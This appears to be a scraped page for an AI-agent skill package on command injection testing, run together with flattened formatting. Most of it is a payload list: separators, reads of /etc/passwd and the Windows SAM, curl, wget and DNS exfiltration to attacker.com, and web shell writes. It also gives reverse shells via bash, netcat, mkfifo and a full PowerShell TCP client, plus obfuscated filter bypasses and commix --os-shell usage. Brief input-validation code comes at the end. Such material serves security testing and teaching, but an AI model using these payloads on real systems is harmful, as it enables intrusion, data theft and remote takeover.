Loading...
Loading...
Professional Skills and Methodologies for Command Injection Vulnerability Testing
npx skill4agent add ed1s0nz/cyberstrikeai command-injection-testing// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input); # Command separator (Linux/Windows)
& # Background execution (Linux/Windows)
| # Pipe (Linux/Windows)
&& # Logical AND (Linux/Windows)
|| # Logical OR (Linux/Windows)
` # Command substitution (Linux)
$() # Command substitution (Linux)127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)127.0.0.1; nslookup $(whoami).attacker.com; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt; bash -i >& /dev/tcp/attacker.com/4444 0>&1; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)%3b (;)
%26 (&)
%7c (|)%0a (Newline)
%0d (Carriage Return)a=w;b=ho;c=ami;$a$b$c/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwdw'h'o'a'm'i
w"h"o"a"m"iw\ho\am\iecho "d2hvYW1p" | base64 -d | bashecho "id" > /tmp/c
sh /tmp/cexport x='id';$x# Basic scan
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# Specify injection point
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# Get shell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shellimport re
def validate_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
raise ValueError("Invalid IP")
parts = ip.split('.')
if not all(0 <= int(p) <= 255 for p in parts):
raise ValueError("Invalid IP range")
return ipimport subprocess
# Dangerous
subprocess.call(['ping', '-c', '1', user_input])
# Secure - Use parameter list
subprocess.call(['ping', '-c', '1', validated_ip])ALLOWED_COMMANDS = ['ping', 'nslookup']
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
if command not in ALLOWED_COMMANDS:
raise ValueError("Command not allowed")